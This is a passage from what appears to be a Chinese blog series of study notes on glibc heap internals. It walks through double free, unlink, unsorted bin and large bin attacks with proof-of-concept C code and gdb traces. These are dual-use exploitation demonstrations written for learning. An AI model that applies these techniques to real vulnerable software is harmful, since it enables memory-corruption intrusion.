malloc(8);int *d = malloc(8);int *e = malloc(8);int *f = malloc(8);return 0;}\n\n\ngcc -g heap2.c -o heap2gdb heap2b 13run\n\n\n        我删处了很多不必要的说明以方便我们更加直观的看到DoubleFree的效果\n        直接运行到第13行,并且完成接下来的四次malloc操作:\n───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────In file: /home/giantbranch/Desktop/class/heap2.c 8 int *a = malloc(8); 9 int *b = malloc(8); 10 free(a); 11 free(b); 12 free(a); ► 13 int *c = malloc(8); 14 int *d = malloc(8); 15 int *e = malloc(8); 16 int *f = malloc(8); 17 return 0; 18 }\n\n\n        当我们运行到第17行时再查看如下变量: \ngdb-peda$ p c$5 = (int *) 0x602010gdb-peda$ p d$6 = (int *) 0x602030gdb-peda$ p e$7 = (int *) 0x602010gdb-peda$ p f$8 = (int *) 0x602030\n\n\n        我们发现,不论怎么申请都只会得到这两个地址了。它们交错出现,只要我们申请的内存能够从这个Bin中取出,那么我们现在就只能得到这两个地址了。\n        从malloc的角度来说,它会取出Bins的第一个节点,并将其他节点往上挂入头节点中。\n        而在回环的链表中,取出第一个节点后,第二个节点成为新的第一个节点,而新的第二个节点则又是第一个节点(这样说十分绕口,建议手动调试一下),因此没办法像平常操作那样取出目标了\n        而从这个出现顺序也能够猜出,Fast Bins是先进后出的结构\nfastbin_dup_consolidate:        我没有使用范例给出的程序,而是自己写了更加方便调试的类似的代码\n#include <stdio.h>#include <stdlib.h>int main(){void* p1 = malloc(0x40);void* p2 = malloc(0x40);free(p1);void* p3 = malloc(0x400);free(p1);void* p4 = malloc(0x40);void* p5 = malloc(0x40);}\n\n\n        同样编译后运行到第9行,此时的bins:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x602000 ◂— 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\n         此时,chunk p1已经被放入Fast Bins中,当我们再次申请一块超出Fast Bins能够服务的chunk时,即执第9行代码:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbins0x50: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000largebinsempty\n\n\n        发生了合并consolidate,并将chunk p1送入Small Bins中,。继续往下执行第10行:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x602000 ◂— 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbins0x50 [corrupted]FD: 0x602000 ◂— 0x0BK: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000largebinsempty\n\n\n         第11行:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbins0x50 [corrupted]FD: 0x602000 ◂— 0x0BK: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000largebinsempty\n\n\n        第12行:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty\n\n\n        这个实际结果与上一章所述相同。在第12行代码中,堆管理器检查Small Bins发现可用,分割该chunk分配给 p5,并将该chunk取出Bins。\n引用:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/implementation/free/#_3 ​\n插画ID:90981187\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅳ——从Unlink攻击理解指针与chunk寻址方式)","url":"/2021/08/07/glibc-4/","content":"​\n 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源。\n参考文章:        在此先给出几篇可供参考的文章。笔者认为几位师傅所写的都比笔者所写要来得更加精炼。倘若您通过如下几篇文章已经能够完全理解Unlink为何,那么大可以不再阅读这篇冗长的文章。\n 安全客:https://www.anquanke.com/post/id/197481\n 看雪:https://bbs.pediy.com/thread-224836.htm\n CTF-WIKI:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/\n环境与工具:        环境:Ubuntu16.4 / gcc / (gdb)pwn-dbg\n        范例:Heap Exploitation系列unlink部分(源代码将直接在下面贴出)\n源代码:#include <unistd.h>#include <stdlib.h>#include <string.h>#include <stdio.h> struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding}; int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20]; // First grab two chunks (non fast) chunk1 = malloc(0x80); chunk2 = malloc(0x80); printf("%p\\n", &chunk1); printf("%p\\n", chunk1); printf("%p\\n", chunk2); // Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header // First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P // Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x80; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("%p\\n", chunk1); printf("%p\\n", chunk1[3]); chunk1[3] = (unsigned long long)data; strcpy(data, "Victim's data"); // Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL; printf("%s\\n", data); return 0;}\n\n\n代码调试:        读者可以试着先行阅读一下代码,看看是否能够理解其逻辑。笔者在调试时由于对指针和寻址等相关知识的不熟练而倍感困惑,倘若读者在阅读代码过程中通畅无阻,那么这个案例便不是那么困难了。\ngdb-peda$ b 20Breakpoint 1 at 0x40067d: file test.c, line 20.gdb-peda$ b 31Breakpoint 2 at 0x4006db: file test.c, line 31.gdb-peda$ b 36Breakpoint 3 at 0x400703: file test.c, line 36.gdb-peda$ b 44Breakpoint 4 at 0x400731: file test.c, line 44.gdb-peda$ run\n\n\n        首先开辟三个chunk,这此我们有必要记录一下打印得到的结果:\ngdb-peda$ continueContinuing.0x7fffffffde00 //chunk1指针地址0x602010 //chunk1堆地址——user data0x6020a0 //chunk2堆地址——user data\n\n\n        继续continue直到第36行,查看此时的heap\n0x602000 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x7fffffffdde8, bk_nextsize = 0x7fffffffddf0}0x602090 PREV_INUSE { prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602120 PREV_INUSE { prev_size = 0x0, size = 0x411, fd = 0x3061303230367830, bk = 0xa30306564660a, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602530 PREV_INUSE { prev_size = 0x0, size = 0x20ad1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        我们发现,chunk 1的 fd 和 bk 指针已经被指向了栈的地方。 \n        先抛开这究竟是如何实现的,我们需要先了解一下\n什么是Unlink:1459 /* Take a chunk off a bin list. */1460 static void1461 unlink_chunk (mstate av, mchunkptr p)1462 {1463 if (chunksize (p) != prev_size (next_chunk (p)))1464 malloc_printerr ("corrupted size vs. prev_size");1465 1466 mchunkptr fd = p->fd;1467 mchunkptr bk = p->bk;1468 1469 if (__builtin_expect (fd->bk != p bk->fd != p, 0))1470 malloc_printerr ("corrupted double-linked list");1471 1472 fd->bk = bk;1473 bk->fd = fd;1474 if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)1475 {1476 if (p->fd_nextsize->bk_nextsize != p1477 p->bk_nextsize->fd_nextsize != p)1478 malloc_printerr ("corrupted double-linked list (not small)");1479 1480 if (fd->fd_nextsize == NULL)1481 {1482 if (p->fd_nextsize == p)1483 fd->fd_nextsize = fd->bk_nextsize = fd;1484 else1485 {1486 fd->fd_nextsize = p->fd_nextsize;1487 fd->bk_nextsize = p->bk_nextsize;1488 p->fd_nextsize->bk_nextsize = fd;1489 p->bk_nextsize->fd_nextsize = fd;1490 }1491 }1492 else1493 {1494 p->fd_nextsize->bk_nextsize = p->bk_nextsize;1495 p->bk_nextsize->fd_nextsize = p->fd_nextsize;1496 }1497 }1498 }\n\n\n        Unlink实则为一个函数,在特定情况下被调用。函数功能为:将一个chunk从链表中摘下\n        这里所说的链表,其实就是Bins结构。\n        这里引用一下知世师傅的总结:\n使用unlink的时机\n\nmalloc\n在恰好大小的large chunk处取chunk时\n在比请求大小大的bin中取chunk时\n\n\nFree\n后向合并,合并物理相邻低物理地址空闲chunk时\n前向合并,合并物理相邻高物理地址空闲chunk时(top chunk除外)\n\n\nmalloc_consolidate\n后向合并,合并物理相邻低地址空闲chunk时。\n前向合并,合并物理相邻高地址空闲 chunk时(top chunk除外)\n\n\nrealloc 前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)\n\n        其具体的执行效果一言蔽之就是:(P为链表中需要被摘下的节点)\nP->fd->bk = P->bk.P->bk->fd = P->fd.\n\n\n        本章我们将以Free时候发生Unlink来示范,看看堆管理器究竟在做些什么。\n调试继续:        我们查看一下两个指针的地址,并在图中标出:(不要过于纠结fake_chunk名字的意义)\ngdb-peda$ p fake_chunk $1 = (struct chunk_structure *) 0x602010gdb-peda$ p &fake_chunk $2 = (struct chunk_structure **) 0x7fffffffde10gdb-peda$ p &chunk1 $3 = (unsigned long long **) 0x7fffffffde00gdb-peda$ p &data$4 = (char (*)[20]) 0x7fffffffde20\n\n\n​\n         第32,33行的两行代码,我将其地址标注在上图中了。值得注意的是,这两个指针均为“指向chunk”的指针,即——将 &chunk1-3 与 &chunk1-2 视为了两个不同的chunk\nUnlink安全性检查:// fd bkif (__builtin_expect (FD->bk != P BK->fd != P, 0)) \\ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \\\n\n\n        由于这个检查,因此才有上面的伪造。\n        现在,不妨跟随一下这个检查,其要求为:(P为链表中需要被摘下的节点,此处是chunk1)\nP->fd->bk == PP->bk->fd == P\n\n\n         chunk1->fd=&chunk1-3,根据上面的栈表,我们可以轻松的发现:chunk1->fd->bk=602010\n        对于另外一个判断也是如此。我们成功的**将 栈 伪造成了两个chunk(fd和bk)**来骗过了管理器。\n调试继续:         因为\nfake_chunk = (struct chunk_structure *)chunk1;\n\n\n         因此,我们操作fake_chunk的fd/bk指针就是操作chunk1的对应指针,于是才有了前面给出的堆的状态。\n        继续调试,从第36行到44行。\n        chunk2_hdr是指向chunk2真正的开头的指针。在第二章中曾提到过,malloc返回的内容并不是真正指向chunk的开头,而是往下增加了16字节。\n        第37和38行则是在伪造chunk1的状态:\n        prev_size表示上一个相邻空闲块的大小(若该相邻块是被使用的,则会被占用,用来填充用户数据),第38行则将P标记位置0,表示上一个相邻块已被释放。\n        至此,我们已经伪造好了chunk1的状态。当使用free(chunk2)的时候,管理器会发现chunk1是处于被释放状态的,于是将chunk2和chunk1进行合并。\nFree与触发Unlink:        当我们执行\nfree(chunk2);\n\n\n        时候将触发Unlink,对chunk1做如下行为:\nP->fd->bk = P->bk.P->bk->fd = P->fd.\n\n\n        结果是令人疑惑的,但如果按照笔者上述的逻辑,大致还是能够理顺的:(P为chunk1)\n&(P->fd->bk)=0x7fffffffde10该地址处的内容被替换为(&chunk1-2)=0x7fffffffddf0&(P->bk->fd)=0x7fffffffde10该地址处的内容被替换为(&chunk1-3)=0x7fffffffdde8\n\n\n         现在我们再看chunk1与chunk[3],将得到相同的结果:\n​\ngdb-peda$ p chunk1$16 = (unsigned long long *) 0x7fffffffdde8gdb-peda$ p &chunk1[3]$17 = (unsigned long long *) 0x7fffffffde00gdb-peda$ p chunk1[3]$18 = 0x7fffffffdde8\n\n\n         “chunk1的内容和chunk1[3]相同,chunk1[3]的地址和chunk1的地址相同”,乍一看相当反直觉的表述,但根据栈图还是能够理解的,继续往下:\nchunk1[3] = (unsigned long long)data;\n\n\n​\n        此时,该操作就会将chunk1的值替换为Data的指针。因此,只要我们能够操作chunk1的值,就变相的能够读写Data中的数据了\nchunk1[0] = 0x002164656b636168LL;printf("%s\\n", data);//hacked!\n\n\n关于寻址:         说了这么多,最后是关于寻址的问题。\n        上文案例中,chunk1并不在Bins中,那这个Unlink的执行会否显得有些突兀?\n        从寻址的角度来说,管理器并不关心chunk1是否处于Bins中。它通过Size和Prev_Size来找到chunk1,并且由于chunk1的fd和bk指针都存在,管理器就误认为chunk1是被挂在Bins中的一个节点。也就是说,堆管理器并没有检查Bins中是否真的存在这个节点。\n        实际上,即使chunk1真的是Bins中的一个节点,这种寻址方式也不会有任何问题,它会顺利的摘下chunk1;只是在本例中,管理器以为自己从Bins中摘除了chunk1罢了 ​\n插画ID:91110244\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅴ——从Large Bin Attack理解malloc对Bins的分配)","url":"/2021/08/07/glibc-5/","content":"​\n本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n参考文章:        同样先引用如下两篇文章。如果读者能够通过如下三篇文章掌握Large Bin Attack,那么本篇便只是附带品,没有什么其他内容\nhttps://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/\nhttps://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/\nhttps://bbs.pediy.com/thread-262424.htm\n条件背景:while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)){ bck = victim->bk; if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av); size = chunksize (victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb PREV_INUSE (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size = PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; #define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break;}\n\n\n        该代码主要阐述:当管理器从Unsorted Bin中取出chunk置入对应Bins的时,如何判断置入何处、做出哪些相应修改。\n        如果读者并不熟悉这段代码,并对其中的变量名感到困惑,可以暂且搁置,笔者将在后续补充这些内容以方便理解该代码。\n前置知识:\n        Unsorted Bin是先进后出(在两个chunk都满足malloc请求时先操作后入的)\n        Unsorted Bin是无序且紧凑的,放入该结构中的相邻chunk将被合并且直接放入头部\n        Large Bins的链表是有序的,排序规则为降序\n        了解bk_nextsize、fd_nextsize、bk、fd指针的指向目标\n        待补充\n\nUnsorted Bin Attack:        在解释Large Bin Attack之前,我觉得有必要先从Unsorted Bin Attack开始。笔者认为这将有助于读者理解之后的内容。如下内容摘自:CTF-WIKI\n概述Unsorted Bin Attack  该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关\nUnsorted Bin Attack  被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针\nUnsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值(该值不可控)\n范例代码:(howtoheap2——unsorted_bin_attack)#include <stdio.h>#include <stdlib.h>int main(){unsigned long stack_var=0;unsigned long *p=malloc(400);malloc(500);free(p);p[1]=(unsigned long)(&stack_var-2);malloc(400);}\n\n\n         笔者删去了所有的fprintf以让上述代码看起来更加整洁,读者可以自行对代码进行调整\n代码调试:        运行上述程序到第13行;第二次malloc将  p 与Top chunk隔离,使其在free(p)时不会直接被并入Top chunk\n        此时的Bins中为:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000\n\n\n        对于不使用Fast Bins的chunk来说,在free时会先将其置入Unsorted Bin中\n        由于用户没有将 p 指针置NULL,因此我们能够通过操作 p 指针来改变 chunk的数据(14行)\ngdb-peda$ heap0x602000 PREV_INUSE { prev_size = 0x0, size = 0x1a1, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7fffffffde08, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        如上是修改后的 chunk p\n        其bk被指向了栈中的某个位置\n        而在第15行将申请一个0x400大小的chunk,刚好能够由 p 分配,则管理器将其从Bin中取出,此时发生了Unsorted Bin Attack,我们可以从条件背景中摘录部分关键代码来解释这个现象:\n/* remove from unsorted list */if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3");unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);\n\n\n        注:unsorted_chunks (av)返回指向 Unsorted Bin表头的指针,其bk指针指向最后一个节点\n        注:victim表示Unsorted Bin中最后一个节点\n        注:此处的bck = victim->bk;\n        该段代码作用为:\n\n将倒数第二个节点作为最后一个节点\n将倒数第二个节点的下一个节点指向表头\n\n       正常的操作当然不会引发问题,这两个操作成功将最后一个节点从Unsorted Bin中摘除\n        但范例中的bck=&stack_var-2,如果此时调用malloc,则摘除 chunk p ,触发上述情况\n        bck->fd处将被写入表头地址,这个地址并不是我们能够控制的,只能表示一个较大的值罢了\n        在用于修改一些长度限制时有奇效,但除此之外似乎并没有特别的用处\ngdb-peda$ p stack_var $1 = 0x7ffff7dd1b78\n\n\n0x602000 PREV_INUSE { prev_size = 0x0, size = 0x1a1, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7fffffffde08, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n         可以发现,这个值stack_var的值被写为了表头地址\nLarge Bin Attack:        比起说明,笔者认为直接用代码更加便于理解\n        下示范例摘自参考文章第一个链接中的范例\n范例代码:#include<stdio.h>#include<stdlib.h> int main(){ unsigned long *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8, *p9, *p10, *p11, *p12; unsigned long *p; unsigned long stack[8] = {0}; printf("stack address: %p\\n", &stack); p1 = malloc(0x3f0); p2 = malloc(0x20); p3 = malloc(0x400); p4 = malloc(0x20); p5 = malloc(0x400); p6 = malloc(0x20); p7 = malloc(0x120); p8 = malloc(0x20); p9 = malloc(0x140); p10 = malloc(0x20); p11 = malloc(0x400); p12 = malloc(0x20); free(p7); free(p9); p = malloc(0x60); p = malloc(0xb0); free(p1); free(p3); free(p5); p = malloc(0x60); free(p11); //step 2-3-2-1 //*(p1-1) = 0x421; //p = malloc(0x60); //step 2-3-2-2-1 //p = malloc(0x60); //step 2-3-2-2-2 //*(p3-1) = 0x3f1; //p = malloc(0x60);// Attack part/* *(p3-1) = 0x3f1; *(p3) = (unsigned long)(&stack); *(p3+1) = (unsigned long)(&stack); *(p3+2) = (unsigned long)(&stack); *(p3+3) = (unsigned long)(&stack); // trigger malicious malloc p = malloc(0x60);*/ return 0;}\n\n\n代码调试:        首先断点定于25行,此时的Unsorted Bins中已放入p7,p9\nunsortedbinall: 0x602e10 —▸ 0x602cb0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602e10smallbinsemptygdb-peda$ p p7$1 = (unsigned long *) 0x602cc0gdb-peda$ p p9$2 = (unsigned long *) 0x602e200x602cb0 PREV_INUSE { prev_size = 0x0, size = 0x131, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x602e10, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602e10 PREV_INUSE { prev_size = 0x0, size = 0x151, fd = 0x602cb0, bk = 0x7ffff7dd1b78 <main_arena+88>, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        当用户malloc(0x60)时候,将把p7取出并切割分配给用户,并将剩余部分重新放回Unsorted Bin,再往前将其他块(此处为p9)放入对应的Bins中,\nunsortedbinall: 0x602d20 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602d20 /* ' -`' */smallbins0x150: 0x602e10 —▸ 0x7ffff7dd1cb8 (main_arena+408) ◂— 0x602e10\n\n\n 这里有几个细节需要注意:\nwhile ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))\n\n\n        如上是条件背景第一行,它将victim定为链表的最后一个单元,这意味着Unsorted Bin是从后往前遍历的(因此是先p7,再p9)\n        p7是小于p9的,它在Small Bin数组中应该位于索引较低的链表上;而申请结束后,p9被放入Small Bin,而p7被切割后放回Unsorted Bin,这意味着Small Bin是从低索引往高索引遍历的\n        注:有一个名为mark_bin (av, victim_index)的函数,它会将以victim_index为索引的chunk标记为”有空闲块“,因此扫描时总是先扫描该Bin有无空闲块,然后再往下\nunsortedbinall: 0x0smallbins0x150: 0x602e10 —▸ 0x7ffff7dd1cb8 (main_arena+408) ◂— 0x602e10\n\n\n        再一次申请,由于刚好大小符合Unsorted Bin,因此直接摘除\n        接下来一直运行到第32行:\nunsortedbinall: 0x602870 —▸ 0x602430 —▸ 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602870 /* 'p(`' */smallbins0x150: 0x602e10 —▸ 0x7ffff7dd1cb8 (main_arena+408) ◂— 0x602e10largebinsempty\n\n\n         p1、p3、p5都比较大,属于Large Bin的范畴,而再次申请后的Bins将如下:\nunsortedbinall: 0x602e80 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602e80smallbinsemptylargebins0x400: 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x602430 /* '0$`' */\n\n\n        可以看见,顺序为p2——>p3——>p1,且存放在同一个Large Bin中(Large Bin有六十多个)\n        他们实则是降序排列的,但p2和p3由于大小相同,似乎不太好分辨相同size时该如何处理,这个疑问将在接下来注释的代码段中阐明,暂且继续往下:\nunsortedbinall: 0x602f90 —▸ 0x602e80 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602f90smallbinsemptylargebins0x400: 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x602430 /* '0$`' */gdb-peda$ p p11$3 = (unsigned long *) 0x602fa0\n\n\n        free(p11)后Bins的情况如上\nstep 2-3-2-1:        现在,我们将代码中注释的step 2-3-2-1下两行解开,重新编译,进入第37行的情况:\ngdb-peda$ heap0x602000 PREV_INUSE { prev_size = 0x0, size = 0x421, fd = 0x7ffff7dd1f68 <main_arena+1096>, bk = 0x602870, fd_nextsize = 0x602430, bk_nextsize = 0x602430}\n\n\n        我们发现,其修改了chunk p1的size,而此时的chunk p1正被挂在Large Bin 中的最后一个节点上,当我们再次malloc时候,将得到如下的Bin:\nunsortedbinall: 0x602ef0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602ef0smallbinsemptylargebins0x400: 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x602f90 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— ...\n\n\n         我们按照顺序标记出Large Bin中四个节点的大小:0x411、0x411、0x421、0x411\n        p11被挂到了最后,且p1也没有挂到前面去,这种现象是由于管理机制的漏洞所致:\n        堆管理器会默认当前Index下的链表的最后一个就是最小的块,然后把要放入的块和其比较,如果比当前最小块还小,那就直接放在最后,并直接返回了\n        因此篡改了本例种最后一个节点p1的大小,使得整个链表的“最小块”的尺寸增大,以至于出现上述现象\nstep 2-3-2-2-1:        现在注释掉step 2-3-2-1并解开step 2-3-2-2-1,重新编译并运行到41行\nunsortedbinall: 0x602ef0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602ef0smallbinsemptylargebins0x400: 0x602430 —▸ 0x602f90 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— ...\n\n\n        0x602f90 的Size也为0x411,它大于最小的块,因此将从该Index的链表头部开始往下遍历,并发现第一个节点的Size与其相同,于是直接将该节点放在第二个节点的位置,其他节点顺位往下\nstep 2-3-2-2-2:        注释掉step 2-3-2-2-1并解开step 2-3-2-2-2\n        程序在第44行篡改了第一个节点的Size,使其小于将要插入的块\n        于是当我们检索发现要插入的块其Size大于最小块,从头开始遍历,又发现其大于第一个节点,于是就将自己作为了新的头节点\nunsortedbinall: 0x602ef0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602ef0smallbinsemptylargebins0x400: 0x602f90 —▸ 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— ...\n\n\nAttack part:        最后,我们注释掉step 2-3-2-2-2,并解开Attack part的注释重新编译并运行到第49行\n        49至53行,代码篡改了chunk p3的内容,直接运行到54行,查看p3结构:\n0x602840 PREV_INUSE { prev_size = 0x0, size = 0x3f1, fd = 0x7fffffffdde0, bk = 0x7fffffffdde0, fd_nextsize = 0x7fffffffdde0, bk_nextsize = 0x7fffffffdde0}\n\n\n         当我们再次执行malloc时候,将会在该链表头部插入新的节点\n        此时,由于我们对原本的头部进行了数据的篡改,将导致堆地址的泄露\n        其原理与第四章所写的Unlink攻击有些相似\n        我们先从条件背景中摘抄出本范例在最后一个malloc时候会发生的事情:\n else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } }}mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;\n\n\n\nvictim为将要插入的chunk\nfwd为 下一个小于victim的节点\nbck见代码第8行(将会指向Bins的表头)\nvictim_index表示victim将要放入的Bin的索引\n\n        本例中,victim为 chunk p11,fwd将为chunk p3,bck则为&stack\n        在第6行处,将在(&stack+4)处写入victim的堆地址\n        在最后一行,将在(&stack+2)处写入victim的堆地址\ngdb-peda$ p &stack$5 = (unsigned long (*)[8]) 0x7fffffffdde0gdb-peda$ x /10gx 0x7fffffffdde00x7fffffffdde0:0x00000000000000000x00000000000000000x7fffffffddf0:0x00000000006033a00x00000000000000000x7fffffffde00:0x00000000006033a00x00000000000000000x7fffffffde10:0x00000000000000000x00000000000000000x7fffffffde20:0x00007fffffffdf100x131d22806a239e00\n\n         Large Bin Attack至此成功 ​\n插画ID:91443910\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅵ——从House of Orange理解Heap是如何被拓展的)","url":"/2021/08/07/glibc-6/","content":"​\n本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n参考文章:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange/\nhttps://blog.csdn.net/le119126/article/details/49338003\n正文:        本节没有太多内容。本想将IO_FILE一起并入说明,但似乎那样就超出了本专栏的内容了,因此便作罢,仅从一个简单的案例说明这样一个情况:\n当Top chunk不足以满足用户需求时,堆是如何拓展而为用户服务的\n        在第一章时曾提到过,当堆的空间不足以满足申请时,堆管理器有两种拓展方式,其一是使用brk函数使堆向高地址拓展;其二则是使用mmap进行地址映射,从内核直接申请内存\n        